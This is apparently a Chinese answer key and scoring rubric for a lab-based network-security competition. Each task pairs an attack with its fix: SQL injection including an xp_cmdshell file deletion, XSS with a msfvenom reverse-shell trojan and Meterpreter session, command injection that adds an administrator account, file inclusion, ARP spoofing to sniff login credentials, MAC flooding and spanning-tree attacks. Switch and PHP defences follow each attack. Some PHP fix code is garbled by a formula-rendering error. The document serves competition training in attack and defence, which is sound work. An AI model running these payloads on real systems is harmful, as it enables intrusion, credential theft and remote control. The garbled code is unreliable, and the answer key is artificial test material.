任务1:SQL注入攻防(55分)
Web访问DCST中的WebServ2003服务器,进入login.php页面,分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序:(2分)
页面标题:Login Page
找到提交的变量名(3分)
提供以下变量:
name=“usernm”
name=“passwd”
对该任务题目1页面注入点进行SQL注入渗透测试,使该Web站点可通过任意用户名登录,并将测试过程截图;(5分)
构造注入语句:
username:任意用户名
password:含:or X=’X
(X为任意值)
(3分)
2、登录成功页面(截图)
(2分)
3. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到loginAuth.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御SQL注入,并将修改后的PHP源程序截图;(10分)
(10分)
包含语句:
1、
select password from users where username=’ u s e r n a m e ’ 2 、 i f ( username’ 2、 if( username’2、if(obj->password==$password)
再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的WebServ2003服务器进行SQL注入渗透测试无效,并将验证过程截图;(5分)
同时包含截图:
1、通过任意用户名登录(截图)
2、登陆后,页面出现用户名不存在提示;(截图)
(5分)
Web继续访问DCST中的WebServ2003服务器,"/"->“Employee Information Query”,分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序:(2分)
找到的源程序含有页面标题:
Query找到提交的变量名(3分)
name=“usernm”
(2分)
输入“%”,返回所有用户信息(截图)
输入“_”,返回所有用户信息(截图)
(3分)
构造注入语句:
‘exec master.dbo.xp_cmdshell ‘del c:\1.txt’–
(5分)
(10分)
再次对该任务题目5页面注入点进行渗透测试,验证此次利用注入点对该WebServer进行SQL注入渗透测试无效,并将验证过程截图。(5分)
通过:‘exec master.dbo.xp_cmdshell ‘del c:\1.txt’—
再次进行SQL注入截图;
系统出现错误提示:Bad KeyWord!(截图)
(5分)
任务2:XSS和CSRF攻防(65分)
Web访问DCST中的WebServ2003服务器,"/"->" Employee Message Board",分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序:(2分)
含有页面标题:Message Board
找到提交的变量名:(3分)
name=“MessageUsername”
name=“message”
测试注入成功:(3分)
弹出alert(“Hacker!”)括号中的消息;
构造注入代码:(2分)
测试过程:(3分)
名称:trojanhorse.exe
发送者:hacker.org
Metasploit Framework:TrojanHorse.exe生成 (3分)
root@bt:~#Ifconfig
(截图)
显示Kali IP地址:X.X.X.X
截图包含:
root@bt:~#msfvenom –p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=80 –f exe –o trojanhorse.exe
当"/"->" Employee Message Board"->"Display Message"页面的访问者执行网站(http://hacker.org/)中的木马程序TrojanHorse.exe以后,访问者主机需要被Kali主机远程控制,打开访问者主机的CMD.exe命令行窗口,并将该操作过程截图;(5分)
Metasploit Framework:Hacker Reverse Tcp连接客户端 (2分)
root@bt:~#msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > exploit
[] Started reverse handler on X.X.X.X:80
[] Starting the payload handler…
(截图中包含黄色部分)
访问者主机需要被Kali主机远程控制(3分)
Kali MSF提示(截图)包含如下信息
Kali IP:X.X.X.X
访问者主机IP:Y.Y.Y.Y
[] Sending stage (…… bytes) to Y.Y.Y.Y
[] Meterpreter session 1 opened (X.X.X.X:Port1 -> Y.Y.Y.Y:Port2) at ……
meterpreter >
Kali截图包含打开访问者主机的CMD.exe命令行窗口;
进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到insert.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御XSS渗透测试,并将修改后的PHP源程序截图;(10分)
(10分)
在服务器场景原insert.php程序语句 i n f o = info= info=_REQUEST[‘message’]后加入:
绿色部分,通过替换函数,通过其它字符({},(),[]等字符)替换字符“<”和“>”均可得分;
i n f o = s t r r e p l a c e ( “ < ” , ” ( ” , info=str_replace(“<”,”(”, info=strreplace(“<”,”(”,info);
i n f o = s t r r e p l a c e ( “ > ” , ” ) ” , info=str_replace(“>”,”)”, info=strreplace(“>”,”)”,info);
或
i n f o = s t r r e p l a c e ( “ < ” , ” { ” , info=str_replace(“<”,”{”, info=strreplace(“<”,”{”,info);
KaTeX parse error: Expected 'EOF', got '}' at position 24: …_replace(“>”,” }̲”,info);
或
i n f o = s t r r e p l a c e ( “ < ” , ” [ ” , info=str_replace(“<”,”[”, info=strreplace(“<”,”[”,info);
i n f o = s t r r e p l a c e ( “ > ” , ” ] ” , info=str_replace(“>”,” ]”, info=strreplace(“>”,”]”,info);
再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的WebServ2003服务器进行XSS渗透测试无效,并将验证过程截图;(5分)
SQL Server企业管理器中,Message表中info字段注入语句符号“<”和“>”被替换为上一题替换后的字符;同时Communication Message页面显示Content:注入语句符号“<”和“>”被替换为上一题替换后的字符;
(5分)
Web访问DCST中的WebServ2003服务器,"/"->" Shopping Hall",分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序:(2分)
页面标题为:
对该任务题目1页面注入点进行渗透测试,使"/"->" Employee Message Board"->“Display Message"页面的访问者向页面ShoppingProcess.php提交参数goods=cpu&quantity=999999,查看”/"->"PurchasedGoods.php页面,并将注入代码及测试过程截图;(5分)
构造注入代码:(2分)
WebServer IP:X.X.X.X
测试过程:(3分)
截图:
Goods:CPU----数值大于或等于999999
任务3:命令注入与文件包含攻防(50分)
Display C:\’s Directory 找到提交的变量名:(3分) name="directory"对该任务题目1页面注入点进行渗透测试,使页面DisplayDirectoryCtrl.php回显C:\Windows目录内容的同时,对WebServer添加账号“Hacker”,将该账号加入管理员组,并将注入代码及测试过程截图;(5分)
注入语句:(2分)
WINDOWS | net user Hacker P@ssword /add
WINDOWS | net localgroup administrators Hacker /add
测试成功:(3分)
截图:
含有:命令成功完成。
进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到DisplayDirectoryCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御命令注入渗透测试,并将修改后的源程序截图;(10分)
(10分)
包含语句:
s t r = ’ ∣ ’ i f ( s t r s t r ( str=’|’ if(strstr( str=’∣’if(strstr(directory,$str)==false)
再次对该任务题目1页面注入点进行渗透测试,验证此次利用注入点对该DCST中的WebServ2003服务器进行命令注入渗透测试无效,并将验证过程截图;(5分)
截图1:利用注入点对该DCST中的WebServ2003服务器进行命令注入渗透测试;、
含有本任务第2题的命令注入语句;
WINDOWS | net user Hacker P@ssword /add
WINDOWS | net localgroup administrators Hacker /add
截图2:页面出现非法输入提示;
含有本任务题目3修改后代码中的错误提示信息;
本案例提示信息为:illegal input!
(5分)
页面标题:Display Upload’s File Content
找到提交的变量名:(3分)
name=“filename”
Internet Explorer地址栏中须含有:
DisplayFileCtrl.php?filename=
进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到DisplayFileCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御文件包含渗透测试,并将修改后的源程序截图;(10分)
(10分)
包含语句:
s t r = ’ . . ’ i f ( s t r s t r ( str=’..’ if(strstr( str=’..’if(strstr(directory,$str)==false)
再次对该任务题目5页面注入点进行渗透测试,验证此次利用注入点对该DCST中的WebServ2003服务器进行文件包含渗透测试无效,并将验证过程截图。(5分)
截图1:利用注入点对该DCST中的WebServ2003服务器进行命令注入渗透测试;
输入框含有本任务题目6的注入代码:
…\AppServ\Apache2.2\logs\access.log
截图2:页面出现非法输入提示;
含有本任务题目7修改后代码中的错误提示信息;
本案例提示信息为:illegal input!
(5分)
任务4:数据窃取防护:二层攻防(45分)
WebServer IP配置(与参数表中服务器场景的IP地址一致):
PC1 IP地址配置(与参数表中PC1的IP地址一致):
PC3 IP地址配置(与参数表中PC3的IP地址一致):
三个终端之间能够相互Ping通;
在同一个窗口ping通除了本机外的2个IP地址;
#show mac-address-table count vlan 10
DCRS地址表空间中有可用的空间;
当前地址表记录数少于地址表容量;
Max entires……
Total……:16384
Current entires……
Total……:该数值小于10
(2分)
#show mac-address-table count vlan 10
当前地址表记录数等于地址表容量;
Max entires……
Total……:16384
Current entires……
Total……:该数值=16384
(3分)
地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/……
Kali打开wireshark,监听到PC1通过Internet Explorer访问DCST服务器场景的HTTP流量;
截图:
Source:PC1的IP地址(与参数表一致)
Destination:服务器场景的IP地址(与参数表一致)
Protocol:HTTP
(5分)
在DCRS交换机Kali所连接端口配置Port Security特性,阻止Kali发起MAC Flooding渗透测试,验证此时DCRS交换机MAC地址表能够学习到PC1、DCST中的WebServ2003服务器的MAC地址,并将DCRS交换机相关配置信息以及验证信息截图。(8分)
配置截图包含:
mac-address-learning cpu-control
(2分)
在VLAN10每个接口全部启用如下:
Interface Ethernet1/0/X
switchport port-security
(2分)
#clear mac-address-table dynamic
(2分)
#show mac-address-table count vlan 10
DCRS地址表空间中有可用的空间;
当前地址表记录数少于地址表容量;
Max entires……
Total……:16384
Current entires……
Total……:该数值小于10
(2分)
在DCRS交换机配置Port Security特性的条件下,Kali再次打开wireshark,监听PC1访问DCST中的WebServ2003服务器流量,验证此时Kali无法监听到PC1访问DCST中的WebServ2003服务器的HTTP流量,并将验证过程截图。(7分)
PC1通过Internet Explorer访问服务器场景;(截图)
地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/……
Kali打开wireshark,监听不到PC1通过Internet Explorer访问DCST的HTTP流量;(截图)
Filter:http
显示报文数:空
任务5:数据窃取防护:ARP攻防(45分)
PC1、WebServ2003
Ipconfig/all
分别显示PC1、WebServ2003的IP和MAC;
PC1的IP和MAC:
服务器场景的IP和MAC:
PC1通过Internet Explorer访问服务器场景;(截图)
地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/……
PC1:ARP表项内容为
WebServ2003的IP->WebServ2003的真实的MAC;
WebServ2003:ARP表项内容为
PC1的IP-> PC1的真实的MAC;
2. 在Kali对PC1进行ARP Spoofing渗透测试,使PC1无法访问DCST中的WebServ2003服务器,PC1的ARP缓存为:DCST中的WebServ2003服务器IP->Kali的MAC地址,在PC1查看被Kali毒化后的ARP缓存信息,并将该信息截图。(5分)
Kali:
#arpspoof –t PC1_IP WebServ2003_IP
(过程截图)
(2分)
PC1:ARP表项内容为
WebServ2003的IP->Kali的MAC;
(3分)
3. 在Kali对PC1和DCST中的WebServ2003服务器进行ARP中间人渗透测试,使Kali能够使用wireshark监听到PC1向DCST中的WebServ2003服务器的LoginAuth.php页面提交的登录网站用户名、密码参数,并将该渗透测试过程截图。(7分)
Kali:
#arpspoof –t PC1_IP WebServ2003_IP
#arpspoof –t WebServ2003_IP PC1_IP
#echo 1 > /proc/sys/net/ipv4/ip_forward
(3分)
PC1通过Internet Explorer访问服务器场景;(截图)
地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/success.php
Kali打开wireshark,监听到PC1通过Internet Explorer访问DCST服务器场景的HTTP流量;(截图)
截图中包含PC1通过Internet Explorer访问DCST服务器场景的用户名、密码;
包含:usernm=XXX&passwd=XXX
(4分)
配置截图包含:
am enable
(2分)
只在连接Kali的接口配置:
Interface Ethernet1/0/X
am port
am mac-ip-pool Mac(Kali) IP(Kali)
(3分)
5. 在DCRS交换机上配置Access Management特性的条件下,再次在Kali对PC1和DCST中的WebServ2003服务器进行ARP Spoofing渗透测试,此时DCRS交换机的Access Management特性能够阻止Kali对PC1和DCST中的WebServ2003服务器进行ARP Spoofing渗透测试,再次查看PC1和DCST中的WebServ2003服务器的ARP缓存信息,并将该信息截图。(8分)
(4分)
PC1:ARP表项内容为
WebServ2003的IP->WebServ2003的真实的MAC;
(4分)
WebServ2003:ARP表项内容为
PC1的IP-> PC1的真实的MAC;
6. 在DCRS交换机上删除Access Management技术配置,通过IP DHCP Snooping Bind特性来阻止Kali发起ARP Spoofing渗透测试,并将DCRS交换机相关配置信息截图。(7分)
配置截图包含:
ip dhcp snooping enable
(1分)
ip dhcp snooping vlan 10
(1分)
ip dhcp snooping binding enable
(1分)
ip dhcp snooping binding user Mac(Kali) address IP(Kali) vlan 10 interface Ethernet1/0/X(Kali连接的接口)
(2分)
在Kali连接的接口配置:
Interface Ethernet1/0/X
ip dhcp snooping binding user-control
(2分)
(4分)
PC1:ARP表项内容为
WebServ2003的IP->WebServ2003的真实的MAC;
(4分)
WebServ2003:ARP表项内容为
PC1的IP-> PC1的真实的MAC;
任务6:数据窃取防护:生成树攻防(40分)
Root ID:this Switch(必须)
Root ID:为Kali的ID(Root ID近似等于Self Bridge Id)
(3分)
配置DCRS交换机生成树协议安全特性,阻止Take Over The Root Bridge渗透测试,并将DCRS交换机相关配置信息截屏;(7分)
法一:
配置截图包含:
VLAN10的每个接口都做:
Switch(config-if-ethernet1/0/X)#spanning-tree rootguard
法二:
配置截图包含:
VLAN10的每个接口都做:
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpduguard recovery (任意值)
法三:
配置截图包含:
VLAN10的每个接口都做:
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpdufilter
在DCRS交换机配置生成树协议安全特性的条件下,DCRS交换机不会认为Kali为Root Bridge,由Kali再次向DCRS交换机发起Take Over The Root Bridge渗透测试,再次显示DCRS交换机生成树协议的状态,并将以上验证过程截屏;(8分)
Claiming Root Role(选择)
(4分)
Root ID:this switch
(4分)
选择:Sending conf BPDUs
(2分)
渗透前交换机CPU的利用率
渗透后交换机CPU的利用率
CPU的利用率须大于正常的CPU利用率(与正常CPU利用率进行比较)
(3分)
配置DCRS交换机生成树协议安全特性,阻止BPDU DOS渗透测试,并将配置信息截屏;(5分)
配置截图包含:
VLAN10的每个接口都做:
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpduguard recovery (任意值)
在DCRS交换机配置生成树协议安全特性的条件下,DCRS交换机不会受Kali的BPDU DOS渗透测试影响,此时由Kali再次向DCRS交换机发起BPDU DOS渗透测试,显示DCRS交换机CPU的利用率,并将该验证截屏;(5分)
选择:Sending conf BPDUs
(2分)
渗透前交换机CPU的利用率
渗透后交换机CPU的利用率
CPU的利用率在渗透前后须无明显变化
(3分)